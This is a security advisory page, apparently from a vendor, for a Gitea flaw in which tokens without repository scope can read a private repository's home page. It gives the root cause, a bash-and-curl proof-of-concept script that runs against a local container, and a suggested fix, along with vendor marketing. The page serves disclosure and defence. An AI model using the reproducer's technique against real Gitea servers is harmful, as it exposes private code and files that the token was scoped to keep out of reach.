CVE-2026-58444
MEDIUMCVE-2026-58444 is a medium-severity (CVSS 4.3) CWE-863 vulnerability in code.gitea.io/gitea. O3 Security confirms whether CVE-2026-58444 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gitea: Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A personal access token (PAT) or OAuth2 token that does not carry the
repository scope or that is public-only is correctly rejected (HTTP 403)
by the recently hardened web content routes (archive download, raw/media file
download, and repository RSS/Atom feeds). However, the repository home page route
GET /{owner}/{repo} (handler repo.Home) serves the private repository's
rendered README, root file/directory tree, description, language statistics,
license, and latest-release information to that same token.
This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:
- GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
- GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds
repo.Home is the remaining token-auth-enabled content route that was not given
the guard.
Details / Root cause
Web routes accept token authentication only when explicitly opted in with
webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries
AllowBasic (added so that go get can resolve private modules):
// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
repo.SetEditorconfigIfExists, repo.Home)
When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go
sets IsApiToken = true and records ApiTokenScope:
// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope
The patched sibling handlers all call the web-side scope guard
context.CheckRepoScopedToken(...), which enforces both the public-only
restriction and the repository scope:
routers/web/repo/download.go:23 (raw / media / archive) ← GHSA-cr4g
routers/web/feed/render.go:15 (all repo feeds) ← GHSA-3pww
routers/web/repo/attachment.go:190 (attachments / release assets, centralized)
routers/web/repo/githttp.go:161 (git smart HTTP) ← GHSA-cc8w
repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its
only gate is checkHomeCodeViewable, which verifies the user's permission and
that the code unit is enabled neither of which constrains the token's scope.
The README, file listing, and sidebar are then rendered. (The
handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo
view is not.)
Proof of Concept
Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to
the source commit above). A private repository admin/secretrepo is created, and
a token is minted with only the read:user scope (no repository scope).
=== anonymous baseline (repository is private) ===
anon GET /admin/secretrepo HTTP=404
=== same no-repo-scope token across routes ===
API repo get (proves token lacks repo scope) HTTP=403 canary=0
/admin/secretrepo/archive/main.zip (control) HTTP=403 canary=0
/admin/secretrepo/raw/branch/main/README.md HTTP=403 canary=0
/admin/secretrepo.rss (control) HTTP=403 canary=0
/admin/secretrepo (repo.Home, VULN) HTTP=200 canary=1
A second token with scope public-only,read:repository behaves identically:
/archive → 403, but /admin/secretrepo → 200 and returns the private content.
canary=1 means the private README marker was returned in the HTML response; the
private file name SECRET.md is also disclosed in the rendered file tree.
Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):
#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
-e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
-e GITEA__server__ROOT_URL=http://localhost:3000/ \
-e GITEA__service__DISABLE_REGISTRATION=true \
-p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
[ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
--password "$PW" --email [email protected] --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
-H 'Content-Type: application/json' \
-d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
| python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
-H 'Content-Type: application/json' \
-d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
--scopes read:user --token-name norepo --raw | tail -1)
echo "anon : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
echo "/$p -> ${o##*|} canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null
Impact
Any holder of a non-repository-scoped or public-only token belonging to a user
who has access to private repositories can read those repositories' README, root
file/directory listing, description, languages, license, and latest release
content the token was explicitly scoped to be unable to read. This defeats the
purpose of fine-grained and public-only tokens (for example a CI token granted
only read:issue, or a public-only token issued to a third-party integration).
The disclosure is bounded to the repository root view because the deeper
/{owner}/{repo}/src/* routes do not enable AllowBasic.
Suggested remediation
Mirror the sibling handlers: at the start of repo.Home
(routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256,
add:
context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
return
}
It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that
render repository data for the same omission notably
actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a
private repository's workflow build status (pass/fail) to a token without the
repository scope (lower impact, possibly intended since badges are designed to
be embeddable, but worth confirming).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58444 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether CVE-2026-58444 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to CVE-2026-58444. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-58444 in your dependencies?
O3 detects CVE-2026-58444 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.